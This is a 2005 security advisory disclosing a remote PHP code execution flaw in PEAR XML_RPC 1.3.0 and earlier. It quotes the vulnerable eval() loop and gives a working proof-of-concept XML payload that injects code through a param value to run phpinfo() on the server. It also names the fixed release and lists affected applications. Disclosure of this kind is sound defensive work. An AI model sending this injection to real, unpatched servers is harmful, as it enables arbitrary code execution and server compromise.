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PEAR XML_RPC Remote Code Execution Vulnerability
From: GulfTech Security Research <security () gulftech org>
Date: Fri, 01 Jul 2005 02:40:45 -0500

##########################################################
# GulfTech Security Research              June 29th, 2005
##########################################################
# Vendor  : The PEAR Group
# URL     : http://pear.php.net/package/XML_RPC/
# Version : PEAR XML_RPC 1.3.0 && Earlier
# Risk    : Remote Command Execution
##########################################################



Description:
PEAR XML_RPC is a PHP implementation of the XML-RPC web RPC protocol,
and used by many different developers across the world. PEAR XML_RPC
was originally developed by Edd Dumbill of Useful Information Company,
but has since been expanded by several individuals. Unfortunately PEAR
XML_RPC is vulnerable to a remote php code execution vulnerability that
may allow for an attacker to compromise a vulnerable server. Version
1.3.1 has been released to address these issues.



Remote Command Execution:
PEAR XML_RPC is vulnerable to a very high risk php code injection vulnerability due to unsanatized data being passed into an eval() call. Let us have a look at
the code that allows the vulnerability to present itself.

// decompose incoming XML into request structure
xml_parser_set_option($parser_resource, XML_OPTION_CASE_FOLDING, true);
xml_set_element_handler($parser_resource, 'XML_RPC_se', 'XML_RPC_ee');
xml_set_character_data_handler($parser_resource, 'XML_RPC_cd');
if (!xml_parse($parser_resource, $data, 1)) {
   // return XML error as a faultCode
   $r = new XML_RPC_Response(0,
$XML_RPC_errxml+xml_get_error_code($parser_resource),
                             sprintf('XML error: %s at line %d',
xml_error_string(xml_get_error_code($parser_resource)), xml_get_current_line_number($parser_resource)));
   xml_parser_free($parser_resource);
} else {
   xml_parser_free($parser_resource);
   $m = new XML_RPC_Message($XML_RPC_xh[$parser]['method']);
   // now add parameters in
   for ($i = 0; $i < sizeof($XML_RPC_xh[$parser]['params']); $i++) {
       // print '<!-- ' . $XML_RPC_xh[$parser]['params'][$i]. "-->\n";
       $plist .= "$i - " . $XML_RPC_xh[$parser]['params'][$i] . " \n";
       eval('$m->addParam(' . $XML_RPC_xh[$parser]['params'][$i] . ');');
   }
   XML_RPC_Server_debugmsg($plist);

The for() loop that holds the vulnerable eval() call is used to build the request from an incoming POST containing an XML document. There is really no type of checks or sanitation done prior to this point, and the fact that magic_quotes_gpc does not
apply makes it that much easier for this issue to be exploited.

<?xml version="1.0"?>
<methodCall>
<methodName>test.method</methodName>
   <params>
       <param>
       <value><name>','')); phpinfo(); exit;/*</name></value>
       </param>
   </params>
</methodCall>

The above xml file when posted to the vulnerable server will cause the phpinfo()
function call to be executed on the vulnerable server.



Solution:
PEAR XML_RPC 1.3.1 has been released to address this issue and can be found at

http://pear.php.net/package/XML_RPC/download/1.3.1

Both users and developers alike are strongly advised to upgrade immediately!



Related Info:
The original advisory can be found at the following location
http://www.gulftech.org/?node=research&article_id=00087-07012005


TikiWiki
http://tikiwiki.org/Download

PostNuke
http://news.postnuke.com/modules.php?op=modload&name=News&file=article&sid=2699

Drupal
http://drupal.org/drupal-4.6.2

b2evolution
http://b2evolution.net/downloads/index.html

b2
http://cafelog.com/

phpGroupWare
http://downloads.phpgroupware.org/

eGroupware
http://sourceforge.net/project/showfiles.php?group_id=78745

Serendipity Weblog
http://www.s9y.org/

phpAdsNew
http://phpadsnew.com/two/

Max Media Manager
http://max.awarez.net/



Credits:
James Bercegay of the GulfTech Security Research Team


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